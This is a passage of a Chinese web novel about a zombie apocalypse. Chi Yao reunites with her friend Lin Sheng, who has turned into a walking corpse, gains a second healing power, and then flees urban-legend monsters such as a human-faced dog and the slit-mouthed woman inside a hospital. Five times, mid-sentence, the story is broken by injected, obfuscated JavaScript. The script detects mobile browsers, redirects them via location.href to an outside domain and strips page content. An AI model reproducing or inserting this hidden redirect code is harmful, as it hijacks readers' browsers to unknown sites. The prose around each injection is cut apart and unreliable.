“你变成......行尸了。” 是陈述句。 他青白的脸色,红色的瞳仁,与皮肉剥落的身体,不停验证着这一点。 “对。”林晟沉默了一会儿,深深地叹了口气,“抱歉,池遥,我没有听你的话,和他们一起离开。” “是因为我吗?” 池遥心里隐隐有所猜测。 “不是,和你没有关系。”林晟本能想要点头,可接触到池遥难过的目光,立刻将头摇得像拨浪鼓,“我只是,想回来看看。” 看到他这副模样,池遥在心里叹了口气。 看来的确是因为她。 紧接着,林晟开口,说出了自己的经历。 在离开校车众人后,林晟起初是想要找办法进入避难所内的。 可他很快就意识到一个问题,程煜驾驶着校车从校内离开时,绕着校门和围墙开了好几圈,都找不到出去的地方,他当时就站在程煜旁边和他一起找,没有找到任何有希望离开的地方。 自然也没有能从避难所外进去的地方。 总有办法的。 既然常青中学封闭得如此严密,都能遭到外部行尸的入侵,那么总会有入口。 可是,林晟的目的不是进入校内,而是找到池遥。 池遥究竟在哪儿? 她是否活着,状态好吗,有没有受伤? 林晟心急如焚,又无能为力。 一直以来,尽管知道自己只是个普通人,但林晟从来不觉得自己会比天赋者差,也很少有无能为力的感觉,他脑子动得快,反应灵活,专业能力也还算不错,又有自己的一技之长,也就是无人机。 然而此时,他无数次在心里怒斥自己。 断电的情况下,他的无人机没电就相当于报废,此时,他无法借助任何外物的力量,只能靠自己去寻找池遥。 这样的效率实在是太慢了。 进不去校内,他就沿着围墙外一路走到小白楼的位置。 隔着围墙无法看到小白楼的情况,他就爬到旁边建筑的顶层,居高临下地观察情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16240551|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 况。 隔着遥远的距离,他看到小白楼附近倒着形形色色的尸体,却看不清尸体的身份。 每当这个时候,他都会想起自己操纵的无人机。 如果他自己变成一架无人机,该有多好啊。 这样的愿望最初只是一个幻梦般的憧憬,逐渐膨胀,扩大,带上了无法言说的急迫与恨意。 恨他自己的无能。 “于是,就变成了这个样子。” 林晟苦笑了一声,把自己变成行尸的过程淡淡略过,只剩下了这一句话,轻描淡写述说了他的渴望。 行尸,正是普通人在强烈渴望中自行觉醒能力,被反噬成怪物的模样。 池遥无法想象他的渴望有多厚重,有多偏执,才能强烈到自行觉醒能力的程度。 “不过,确实获得了梦寐以求的能力。” 林晟侧过头,暗红的眼珠直直看着池遥。 “我的能力是,可以看到直径五百米范围之内的所有景象。” 因此,在成为行尸之后,他终于获得了找到池遥的能力。 蔓蔓临死前将池遥转移到了校外的一幢烂尾楼里,林晟找过去时,正看到在此游荡的丧尸扑向昏迷的池遥。 池遥遍体鳞伤,奄奄一息,呼吸十分微弱,林晟每隔几分钟就要去探一次她的鼻息。 她的状态很不好。 无论怎么叫她,都毫无反应,最后,林晟没有办法,只好用变成白骨的手小心翼翼地触碰了她的手。 只是,在接触到池遥的那一瞬间,他忽然感受到了某种异常。 自己的体力似乎在快速流失。 他的体力,精神,生命力似乎都被与他相触的池遥快速吸收,仿佛身体被榨干,短短几秒钟,他差点以为自己会死在这里。 但池遥似乎也有所感应,她的手主动离开了林晟,才保住了他的命。 发生这件事后,林晟不敢触碰池遥,然而,他却发现池遥在吸取了他的生命力后,呼吸逐渐平稳了下来。 不仅如此,她身上的伤口开始快速自愈,如同之前每一名受到池遥治疗的伤患一样,她被烧得满是水泡的手掌也在快速恢复。 很快,她浑身的伤势彻底痊愈,脸色也恢复了健康时的红润。 林晟这才松了口气。 他终于,能为池遥做点什么了。 “只是,变成......行尸之后,我应该去不成江北避难所了。” 对于林晟而言,行尸仍旧是个难以启齿的词汇,他要停顿半天才能面不改色地用这个词汇形容自己。 “池遥,在你看来我也许只是外形发生了改变。但是,但是我自己能感觉到,我对人类,人类本身开始有食欲了。” “就像人吃牛羊肉一样,我也......也有那种想法。” “如果遇到一个不认识的人类的话,我也许真的会吃掉他。” 听到这话,池遥抬起头,注视着林晟的眼睛。 他说出的内容骇人听闻,可他眼神中表现出的情绪,却无比难过。 他本应该出现在去往江北避难所的车上,和其他学生一起进入新的避难所,过上全新的生活。 池遥将目光从他脸上移开,逐渐向下,看到他局促地搭在膝盖上的手。 这双手,如今只剩下了一串白骨。 他以后再也操纵不了无人机了。 42. 二次觉醒2 “那我呢,你会想要吃掉我吗?” 池遥伸出手,小心翼翼地握住冰冷的白骨手,入手的触感十分怪异,坚硬,光滑,将这只手握在掌心的时候,反而会硌到自己的手。 在她的手触碰到林晟的手时,林晟本能地躲闪了一下,然后才放任她握住了手。 “我已经清醒了,不会再伤到你。”池遥的动作也顿了顿,侧头看他,认真地解释了一句。 “不,我不是那个意思。”林晟摇摇头,目光下意识躲闪了池遥的视线,他并非惧怕池遥的力量,而是不敢让池遥触碰他残破的躯体。 他担心池遥会因此厌恶她。 但事实并非如此,池遥只是握着他的手,缓慢摸索着冰冷的骨骼。 成为行尸后,他对外物的感知能力变差了很多,连池遥指腹的触感都感受不到了。若不是亲眼看到,他或许还意识不到池遥在摸他的手。 想到池遥的问题,沉默片刻,林晟再次坚定地摇头。 “不,我并不想吃掉你。” 他的话过于模糊,池遥盯着他不说话,半晌,又等来一句。 “应该说,我对天赋者,并不会产生食欲。我似乎只是,渴望普通人。” 后半句的语气也有些捉摸不透,他才变成行尸一天,知道的事情不多,能推测出一部分已经很厉害了。 只是,池遥并不是天赋者。 “不知道为什么,我隐隐有一种感觉。” 林晟有点犹豫地继续开口,声音越来越微弱,明显底气不足。 “真的成为行尸之后,我才意识到,我们之前一直把行尸和丧尸划分成同一类。但比起丧尸,行尸更像是天赋者。” “进化失败的天赋者。” 池遥也有同样的感受。 这种感受虽然不如林晟深刻,但要比林晟意识得更早一些,在与白晓交手的时候,池遥就意识到这一点了。 不知道白晓和李艾二人怎么样了。 池遥在心里叹了一口气,同时又想到了生死未卜的庄晴和文茵,心沉沉地坠了下去。 “你发现我的时候,我就在这个......烂尾楼里吗?你见到文茵他们了吗?” 池遥还记得自己晕倒前对文茵说的最后一句话,心里一凉。 如果文茵已经遭遇不测...... 那么,她究竟是如何来到这里的? 对上池遥的目光,林晟的表情僵住了,他似乎立刻理解了池遥的真实意图。 “我发现你的时候,你就已经在这个地方。” 他先是回答了池遥的问题。 “但我用能力找你的时候,也看到了她们。” “文茵,庄晴,蔓蔓都在小白楼附近。” “池遥,她们都在那里,只要我发动能力,随时都能看到。” 他没有直接说明。 可是,池遥已经明白了林晟话中的含义。 庄晴和文茵的结局她已经隐约预料到了,可是蔓蔓是怎么回事?她为什么会在那里? “蔓蔓也在?” 她忍不住再次问了一遍。 “对。”林晟点点头,“校车离开避难所的时候,也是蔓蔓来帮的忙。” 或许是她晕倒后,蔓蔓才赶来这边。 她能出现在这个地方,想必也是蔓蔓的能力所致。 池遥在心里再次沉沉地叹了口气。 一时间,也不知道该说些什么。 “常青中学现在已经被行尸占据了。”林晟将自己这段时间看到的景象整理成语言,“大部分幸存者都离开学校了,留下的人被行尸圈养在宿舍楼里。不过,庄晴和文茵杀死了很多行尸,现在校园里剩下的行尸应该不到十只,大多数都保留着人类意识。” 在等待池遥醒来的时间里,林晟一直观察着校内的景象。 只是五百米的范围还是太小了,他守在池遥身旁,无法看到整个常青中学的情况,只能通过自己看到的情况去进行推测。 直到此时,池遥才终于产生了一种实感。 “和平区避难所,真的彻底沦陷了啊。” 此时,已经是十二月下旬,距离元旦只剩下几天。 在这个时间点,常青中学,彻底沦陷。 林晟的手已经完全化为白骨,池遥捧在手里端详了半天,忽然产生了一个奇特的想法。 在这之前,她只用能力治疗过人类与天赋者,那么行尸可以受到她的能力影响吗? 然而,她终于把注意力转移到掌心下的能力时,才发现,自己的能力隐隐发生了变化。 除却一贯温润的治愈能力之外,还多了某种陌生的能量。 池遥闭上眼,仔细搜寻脑海中的能力介绍。 【加速治愈:能够加快人体本身伤口自动愈合的速度,但要消耗自身或者存储的生机。】 乍一看,她的能力似乎并没有发生太大变化,但仔细看去,池遥却惊喜的发现,不能治愈自己的限制消失了。 她忍不住松开林晟的手,将一只手的掌心贴在另一只手上,心神一动,就感觉到有种无比温暖的热流涌入四肢百骸。 终于可以治疗自己了! 不仅如此,新多出的条件也令她困惑。 在以往使用能力的过程中,池遥已经明白了所谓“消耗生机”的意义,但“存储的生机”又是什么意思? 此时,她才注意到,在加速治愈四个大字之下,还藏着一行小字。 【抽取生机:能够通过接触抽取其他生物的生机存储使用,但一次最多只能存一个个体的生机。注:存储时间为12小时。】 身边除了林晟没有别人,池遥无法尝试这个能力,只能依据脑海中的描述在心中默默猜测。 林晟之前描述过,在她晕倒时,他一碰到她的手,浑身的力气立刻被她抽走。 看来,以往她只能消耗自己的体力进行治疗,之后,她可以消耗自己存储的体力,以不消耗自身的形式使用能力了。 不仅如此,如果她可以抽取行尸甚至丧尸的生机的话,这个能力会变成她赖以生存的保命手段。 简直是意外之喜! 在不知道自己觉醒了这个能力之前,池遥以为这是自己的生机枯竭后,身体本能发起的自救信号,但现在想来,或许正是第二个能力觉醒的预兆。 她在触碰林晟后身体迅速恢复,也是因为消耗了自己从林晟那里抽取的生机,治愈了自己的身体。 “接下来,你打算去江北避难所吗?” 林晟的问题打断了池遥的思考。 “我想去那里看看大家都怎么样了。顺便碰碰运气,看看能不能找到曲卓的踪迹。” 池遥点点头,说完之后才想到,林晟已经无法按照他们既定的路线走下去了。 “你有什么打算?” “我,我已经不能和你们一起走下去了。”林晟凝视着她,半边脸隐没在阴影里,模糊不清。 “我已经看过了,附近的行尸都聚集在常青中学里,至少五百米内,没有任何危险。” 注意到池遥正在注视着他,林晟有几分狼狈地偏过头去,整张脸都被阴霾覆盖,池遥有些看不清他的表情。 “况且,就算遇到危险,你也会解决吧。” “等明天天一亮,我就会自行离开。等见到程煜他们,告诉他们我已经死了。别说我变成了这副不人不鬼的样子。” “等一下。” 池遥凑近了他,才看清他眼睫低垂,抿着嘴唇,沮丧得像是一只被大雨淋湿的小狗。 “你之前不是已经说过了吗,行尸并不是丧尸的同类,而是和天赋者相似的存在。” 她不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246553|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该如何安慰林晟,毕竟林晟变成这个样子,根源在于她。 “那么,没有必要自卑啊。说不定凭借你的能力,未来会更好呢。” 她认真地凝视着林晟,手指再度搭上了林晟的手,输送了一丝柔和的暖流。 “我知道。” 直到池遥的能力顺着他的指尖输送进林晟的体内,林晟才后知后觉地感受到了体内温暖的热流。 “我明天离开后,也会去到更多行尸栖息地,去看看除了我以外,真正的行尸是怎么样的。” “只是......” 林晟的目光再度停留在池遥的面庞之上。 只是,在这之后,他还能和池遥相遇吗? 未来,还有机会再见吗? 他不知道。 在二人说话间,时间静悄悄地流逝,天色已晚。 有身为行尸的林晟在,烂尾楼附近没有一只丧尸。只是,在气温已经达到零下的北城,夜晚的寒风更加刺骨,烂尾楼内四处漏风,气温比室外暖和不了多少。 池遥裹紧身上的羽绒服外套,暗自庆幸自己的衣物足够厚重。 只是,坐在她对面的林晟却只穿了一件大衣。 “变成行尸之后,我对环境的感知力钝化了很多。”见池遥盯着他,林晟解释道,他看起来的确不像是冷的样子。 池遥点点头,在吊坠中搜寻一番,吊坠里的东西除了她的以外,还有不少是郑承上次回宿舍后整理的物品,不仅有他的,还有他舍友周文博的物品,两人的行李以衣物为主,但他们的身高与林晟并不合适,池遥翻找了半天,找到她们在回北城大学的路上收集的一叠衣物,全部塞到了林晟的手里。 林晟没有池遥的吊坠这么方便好用的随身物品,将池遥给的衣服全部收到了他随身携带的登山包里,池遥眼尖地瞄到了登山包里还有两个小小的空位,在吊坠内扫视一圈,掏出两个未拆封的盲盒摆件,塞进包里,林晟原本是要阻拦的,但看到只是两个盲盒,无奈地笑了笑,欣然收下。 夜里,池遥蜷缩在避风处,闭着眼睡得很轻,听到了林晟背起包离开的声音。 明明说好天亮后离开的。 她暗自叹了口气,听到脚步声离自己越来越远。 最终消失。 林晟走出烂尾楼,周围偶然路过的丧尸感受到他的气息,纷纷避让。 他干脆在烂尾楼楼下席地而坐,打开背包,掏出了池遥送给他的两个盲盒。 盲盒体积很小,未拆封,他尖利的白骨手稍微一用力,就戳破了纸壳外的塑料封皮,露出了盒子里的迷你人偶。 是一个长发及腰,笑得十分安恬温柔的女孩子。 看到这只人偶,林晟不由地愣了一下,抬起头看向楼上的窗口,半晌才回过神,继续拆开第二个盒子。 盒子里,赫然躺着一个披着黑色披风的骷髅人偶。 Q版的小骷髅浑身都是骨架,唯有脸部皮肤完好,五官圆润,动作夸张搞笑,减弱了几分恐怖感,十分可爱。 是他在盒子上没见过的款式。 林晟翻转盒盖,才发现,在盲盒盒盖上,印着他手中的迷你骷髅摆件,摆件下方三个加粗的大字张牙舞爪地写着:隐藏款。 他心念一动。 天光大亮。 池遥从地铺上挣扎起来,站起身伸了一个懒腰。 睡梦之中,她听到林晟反反复复进来出去的声音,醒来时,身旁还是没有任何丧尸出现,他似乎并未走远。 思索着这些,池遥弯下腰,收起铺在地上的被褥,褥子被收纳进吊坠内,却有个小小的东西掉了出来。 池遥伸手接住。 躺在她掌心的,是一个小小的人偶摆件。 穿着黑色斗篷的骷髅少年,夸张地挥舞着小拳头,冲她咧着嘴,露出一个热烈的笑容。 43. 百鬼夜行1 小小的人偶最后被池遥珍重地收进了吊坠当中。 接下来,池遥掏出了吊坠里的地图,最后确认了一遍路线。 她的吊坠里共有两份地图,其中属于她自己的那一份借给了程煜,手里这一份是郑承放在她的吊坠里的,她和郑承上次见面时,双方都忘记了这件事。 池遥一贯对路线不敏感,尽管已经记下了路线,但总是没办法将脑子里的路线与眼前立体的景物联系在一起,有了地图,对她来说简直是帮了大忙。 林晟已经离开,她也该出发了。 池遥深吸了一口气,将身上所有行李全部塞进了吊坠中,单手拿着她的钢管,离开了烂尾楼。 走了一段时间,路上的丧尸渐渐多了起来,池遥放轻脚步,尽可能不引起丧尸的注意力,贴着建筑物的阴影慢慢前进,手中的钢管握得很紧,距离太近的丧尸还没发现她,就已经被她手里的钢管干掉。 经历了几天前与行尸的厮杀,现在再回归到打丧尸就像是从boss关回到了新手村,对池遥而言,已经不再是一件困难的事了。 由于路上的丧尸过多,一上午,池遥只走完了两条路。 中午,她找了路边一件没有丧尸的店铺,在干净的角落坐下来,简单吃了一点东西。 她吊坠空间内的食物数量颇多,但这一次,她发现了一个问题。 空间里的食物大部分都是安娴送的,而这些食物多半为需要二次烹饪的速食,尽管吊坠里也有厨具,但在外实际实践起来并不方便,费时费力。 吊坠里还有几枚过期了的餐包,池遥撕开包装吃了两个,没敢吃太多,一旦吃完她就真的需要找地方生火做饭了。 然而,吃完午饭后,池遥却遇到了一个难题。 在她即将前往的路口处,不知为何,聚集了一大群丧尸,看起来十分躁动。 即使池遥对付丧尸已经很熟练了,也没办法直接冲进丧尸群中去,她四处观察一番,最终发现附近就是和平区医院,从医院门诊部后面的住院部后院的后门可以直接穿到邻街,相当于抄近路了。 尽管从外望去,医院附近似乎一只丧尸都没有,但医院里人员密集,想必里面的丧尸应该不会少,但她只是穿过后院,也不进入到建筑里面,总比去正面硬刚街口的丧尸群好吧。 这样想着,池遥打起精神,走进了医院的后院。 奇怪的是,当她双脚穿过大门,踏入后院内时,天色陡然一暗,明明是下午的时间点,却忽然呈现出了入夜时分的色彩,连带着整个后院都被笼罩在阴影当中。 什么情况? 池遥脚步一顿,抬起头。 漆黑的夜空十分平静,隐约能看到细碎的星子。 她无意识地攥紧了拳头。 丧尸末日之下,难道连气候都被影响了吗? 得赶紧从后门出去! 和平区医院的后院在门诊部大楼后,后院住院处是三栋连在一起的大楼,自上而下看去,连同门诊部大楼在内,形成一个密不透风的四方形。 池遥要去的后门就在左侧大楼的尽头,她一边走,一边等待自己身体强化后的夜视能力生效,好让她能看清附近的景物,然而,过了足足十秒,她面前的景物也仅仅只是清晰了一点,她的夜视能力不知为何失效了。 “谁在那里?” 在她身后,突然响起了一个浑厚的男声,听起来上了年纪,似乎是一个中年人。 池遥身体一僵。 在走进后院的这段路程之内,她没有听到任何声音。她自诩警觉,难道没有感受到身后有人吗? 不对,走路悄无声息的,也有可能是行尸。 这么想着,池遥迅速回头,扫过自己身后,却没有发现任何影子。 “你是怎么来的?” 同样的声音再度响起,声音的源头似乎很低,池遥顺着声音低下头,惊恐地在距离自己脚边不到两米的地面上看到了一张狞笑着的人脸! 狞笑着的男人粗眉大眼,视线紧紧地盯着她,嘴角咧得十分夸张,近乎扯到耳廓。 池遥倒吸一口凉气,吓得连退好几步,直到那张脸追着她跟过来,她才注意到不对。 这并非是一张陷在地面上的人脸,而是一只长着人脸的黑狗! 除却一张惨白的脸,这只狗通体漆黑,周围环境遮蔽下,直到它跟着池遥动起来,池遥才发现它的身体,心中更是惊骇。 她并不是擅长应对恐怖事物的人,这东西可比丧尸恐怖多了,见人面犬还要追,池遥转过身,朝着后门的方向撒腿就跑! “砰!” 身后的人面犬紧追不舍,冲着池遥的方向弹跳起来,池遥情急之下向左拐弯,身后的人面犬扑了个空,落在地上传来一声巨响。 这只狗的速度实在太快了! 池遥心里着急,她一抬头,就能看到远处的后门,可若是按照现在的情况,她还没跑到后门,就会被身后的人面犬追上! 而现在,离她最近的是左侧医院住院部大楼关闭的大门。 情况紧急,池遥深吸一口气,又一次听到人面犬高高跃起的声响,这只狗的弹跳力也十分惊人,能轻轻松松跳起一人高。 她猛地冲上台阶,用尽全力打开紧闭的大门,在人面犬扑来的瞬间,一把关上了医院大门。 “哐!” 大门外的人面犬狠狠撞上了大门玻璃,一声巨响,将玻璃撞出一条裂缝。 看来医院大门也不稳固,池遥立刻转身,跑进了医院大厅内。 远远的,还能听到屋外的人面犬撞击大门的声音。 片刻后,传来了玻璃碎裂一地的声音。 中年男人的脸上露出残忍的笑容,人面犬慢慢踏进医院大楼内,在一楼四处搜索池遥的踪迹。 池遥单手捂住跳动个不停的心脏,另一只手还捂在嘴边迟迟不敢放下,过了半天,才放下手,深深松了口气。 此时,她已经顺着楼梯,来到了二楼和三楼的拐角,将自己蜷缩起来,藏在了楼梯拐角处柜子的阴影里。 等了半天,也没听到人面犬上楼的声音,她这才慢慢爬了出来。 那到底是什么东西? 行尸已经进化到这种程度了吗? 池遥在心中止不住的后怕。 况且,她刚刚跑步的时候就发现了,不知为何,她的身体能力似乎又恢复到了普通人时期,毫无长进。 而且,最重要的一点,她也感受不到掌心的能力了! 她的能力,似乎从一踏入医院开始,就失效了。 心脏不由地狂跳。 池遥捂着心脏的手无意识上移,碰到脖颈处的吊坠,又意识到一点。 她的吊坠也用不了了。 究竟发生了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259719|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么? 人面犬不知道什么时候会找来,这里并不安全,池遥没时间追究能力的异常,只讲这些想法在脑海中掠过一遍,就立刻开始打量周围。 楼梯两侧都没有人,在楼梯扶手对面,是楼梯间的窗户,隐隐映照出浅淡的月光。 窗户对面,还是医院住院部大楼,楼与楼之间距离不远,还能看清对面的病房里的景象。 而对面三楼的某一个窗户旁,似乎伫立着一个少女,身穿白裙,看不清楚表情,只能看到对方双眼睁得很大,正眺望着星空的方向。 明明应该是温馨的景象,但池遥心中却没来由一阵恐惧。 池遥盯着窗户看了一会儿,楼梯间的窗户位置有些偏,窗户面积也不大,有点看不清。她迅速上了三楼,推开三楼走廊第一间房间的门,这里是一间空病房,窗户大小是走廊的两倍。 这下,她终于看清楚了。 对面的少女在池遥观察的好几分钟里,从来没动弹过一下,连眨眼都从未有过。 恐怕不是活人。 做出这个结论时,池遥隐约觉得面前的场景十分熟悉,她似乎看过类似的故事。 没错,她曾经看过一个源自霓虹的都市传说,仰望星空的少女。 一个人在仰望星空时,发现对面公寓楼里有个少女也在仰望星空,之后的每一次也都能看到对方的身影。 事实上,他所看到的并非仰望星空的少女,而是一具悬吊在床边,死亡已久的尸体。 她究竟来到了什么地方? 在想到了这个故事后,窗户对面的少女就显得有些恐怖,池遥转过身想离开病房,手刚搭在门把手,已经按了下去,却突然听到门外有声音。 有什么人,在快速奔跑的声音。 这医院里不止有她一个人吗? 池遥浑身僵硬,倚在门前,大气都不敢喘一声。 然而,跑到池遥所在房间的门口,门外的人却突然停了下来。 发生什么事了? 是她被发现了吗? “你......你是什么人?别挡我的路,识相点就让开!” 隔着一扇门,对方颤抖的声音清晰的传入池遥耳中。 池遥小心翼翼地将门拉开一条细缝,透过门缝,她看到了一个尤为狼狈,脸上带着惊惧神色的人。 在他对面,一个白色的人影安静地站立着。 她穿一身白衣,带着口罩,打扮和医院里的护士相似,眼睛死死盯着对面的人。 “别急,只要回答我两个问题就好。” 女人的声音又冷又淡,目光直勾勾盯着男人。 “我漂亮吗?” 她戴着口罩,但若是仅看眉眼,的确是个美人。 “漂亮。” 男人敷衍地点点头。 女人点点头,神色没变,只是抬手摘掉了口罩,露出一张,十分惊悚的面容。 美丽的眉眼之下,是一张恐怖的裂口的嘴,嘴角一直开裂到耳朵前,她说话时,整个下半张脸都在下坠。 “现在呢?” “啊啊啊啊啊啊啊!” 在刺耳的尖叫声中,池遥惊魂未定地合上门,门外,隐约传来利器划破皮肉的撕扯声,与门外的人持续不停的尖叫声。 池遥背靠着门,无力地蹲了下来。 这都是什么跟什么啊? 44. 百鬼夜行2 过了不知道多久。 池遥一直躲在空病房里,直到外面的口裂女离开,才放下手里把玩了好半天的欧风人偶,打开门,离开了房间。 房门关上,空荡荡的房间里,忽然传来“咔哒”一声。 被池遥放在桌上的人偶,不知为何,歪倒在了桌面上,骨碌碌滚下桌子,跌落在地。 池遥顺着楼梯来到了二楼。 她的目标一直都是医院外的后门,眼下一楼有人面犬,三楼有口裂女,她哪个都不想面对,只得来到二楼。 不过,她以前对都市怪谈感兴趣的时候,似乎也看到过口裂女的故事,只不过她的兴趣来得快去得也快,现在已经不记得了。 她以前只对付过丧尸和行尸,现在遇到这一大堆神神鬼鬼不知所谓的东西,根本不知道该怎么办。 况且,一直以来,池遥就不是个胆子大的人,她连看恐怖片都要曲卓陪在身边,眼下独自一人,在疑似闹鬼,甚至是闹霓虹鬼的医院里,简直寸步难行。 手腕上传来一阵震动。 不知为何,她的手表显示,有一个未知号码的电话打来。 这都什么时候了?信号基站都损坏好几个月了,她居然还会接到电话。 池遥毫不犹豫地按下拒接键,她现在所在的环境并不安全,这个莫名其妙打来的电话也很可疑,她当然不会接! 然而,下一秒,手表中却传来了一个疑似幼童的声音。 不知为何,她明明按下了拒接,但手表却自动接听了电话。 “我是......玛丽,我在.....病房。” 什么情况? 混乱的电流声让手表里传出的声音也变得难以辨认,对面或许还说了什么,全部被电流掩盖,只有这句断断续续的话传入了池遥耳中。 还没反应过来,对面就挂断了电话。 池遥愣了几秒,目光从手表屏幕上移开,忽然看到距离自己不远的地方,站立着一个女人。 准确来说,是一个女鬼,或者幽灵。 显然,对方是被池遥刚才的电话声音吸引过来的。 她的长相实在太符合恐怖电影里的刻板印象,一头柔顺的长发披散在肩上,一身长至脚踝的白衣,面颊惨白,双眼无神。 池遥控制住微微颤抖的腿,壮着胆子把对方上下打量了一遍,虽然对面的鬼看起来十分恐怖,但恐怖也是分等级的,见过刚刚的人面犬和裂口女后,现在面前这个女鬼已经算是和善了。 “你......是独自一个人吗?” 这种情况之下,如果回答自己是一个人,想必不是好事。 池遥深吸一口气,想到刚才不知所言的手表内容,开始胡说。 “我是和朋友约好在医院见面的。” “朋友?” “对,你刚才也听到我俩打电话了吧,我们约好在病房见面,她刚到病房,我正要去找她呢。” 池遥努力让自己的声音不那么颤抖,举起手机还未关闭的通话界面给对方看。 “我......我不信,你怎么证明?” 这要怎么证明,她都不知道打电话的是谁。 池遥沉默片刻,忽然灵机一动。 “我俩约好了在对面楼的三楼病房见面,她这不是已经到了吗?你跟我来,从这边窗户能看到对面大楼窗户的,我给你指。” 她们此时正好在楼梯口,身边就是楼梯口的窗户,楼梯口的窗户小,位置又歪,视野不算特别好。 “你看,对面三楼左数第七间病房,看到那个人了吗?那就是我朋友玛丽,她在那里等我呢!” 池遥伸手指着不久前她看到的仰望星空少女,招呼女鬼过来看。 对不起了对面的家伙,虽然不知道你叫什么,但从现在开始你就叫玛丽了。 小窗户视野不好,只能看到对面的窗户里真的有池遥所说的人,女鬼自然也看到了对面的人影,此时,那张惨白的脸上第一次出现了不可置信的表情,她看看池遥,又看看窗外,完全不相信池遥所说的朋友居然真的存在,显然,她陷入了纠结。 是只杀池遥一人,还是去池遥所说的集合点埋伏起来,一次杀掉两人,女鬼最终选择了后者。 她点了点头,和池遥道别,朝着去对面楼走廊的方向离开了。 总算骗过去了。 池遥从楼梯口探出头来,两边的走廊看起来都空空荡荡,最终选择了和白衣女鬼相反的方向,朝前走去。 然而,没走两步,她忽然听到了一阵奇怪的声音。 “啪嗒......啪嗒......” 似乎有什么东西,在离自己不远的地方,随着她的脚步声一起向前走,声音却又和脚步声不同,很清脆,更像是击掌声,或者光脚在地上走路的声音。 可池遥朝后看的时候,自己身后仍旧是空荡荡的走廊,没有任何东西在跟踪她。 她不由地快走几步。 “啪嗒!啪嗒!” 身后的声音也跟着变快。 一旦放慢脚步,身后的声音也跟着变回原速。 池遥没忍住,几次回头看去,却一直没看到身后有东西。 这又是何方神圣? 一时间,她几乎后悔刚才从病房里出来了,也后悔来了二楼,早知道直接去一楼,说不定不会遇到人面犬呢。 身后的声音一直没有变化,和她保持一个微妙的距离,池遥几次想停下脚步,但又害怕自己一旦停下会出事,所以一直保持偏慢的步速,慢慢向前走去。 然而,不远处,却伫立着一个人影。 是一个瘦高的女人。 女人穿一件长大衣,五官妖媚,十分美艳,看着池遥的时候,眼神中的绵绵情意像是流淌出来了一般,若不是池遥身后有不明东西追赶,她真的会被女人的长相惊艳到。 “小妹妹,姐姐无家可归了,可以收留姐姐一夜吗?” 女人细长的手沿着池遥的面颊轻抚,大拇指微微擦过池遥的嘴唇,仿佛取悦情人一般,勾着池遥的胳膊,整个人朝着池遥贴了过来。 池遥硬生生停住了脚步。 然而,她停下了,身后的声音却没有停下。 “啪嗒......啪嗒......” 那声音越来越近,越来越近! “天呐......” 她不由地感叹一句,想跑,可身旁女人的手还挽着她的胳膊。 “我现在自身难保了哪儿顾得上你啊!” 池遥狠狠一拽女人的手臂,把她拽得一个趔趄,不由地松开了勾着池遥的手,池遥趁此机会立刻脱身,向前大步走去。 这下,她和身后物体的距离终于不再缩短了。 “你拽什么拽?” 身后,传来了女人气急败坏的声音。 她个子高,比池遥高一头,几步就追上了池遥,再次拉住了池遥的手,逼着她停了下来。 池遥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16277236|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心里又气又急,想动手又打不过,只得无可奈何地扭过头看她,这一看却愣了一下。 刚刚她拽女人的手时,力气很大,连带着把女人的外套扣子也拽掉了一颗,从她敞开一小半的大衣缝隙中看去,里面竟然是一副完整的骨架! 池遥现在只剩下了惊讶,倒是不太恐惧,变成行尸后的林晟和这女人差不太多,她已经脱敏了。 “你这人有没有素质?不收留就不收留嘛,不会用嘴说吗?你动手干什么?” 在美艳女人尖声教训她时,池遥身后的声音也在逐渐接近。 “啪嗒......啪嗒......” “什么声音?” 这下,池遥身旁的女人也听到了身后的声音,不由地皱起了眉。 池遥回过头扫了一眼,距离接近后,她才终于看到,那是一个匍匐在地上的影子,不知为何,只能用双臂爬行着匍匐前进,这个影子一直死死跟着她,而她们听到的“啪嗒”声,则是那人手肘撞击地面的声音。 “我也不知道,你去看看吧。” 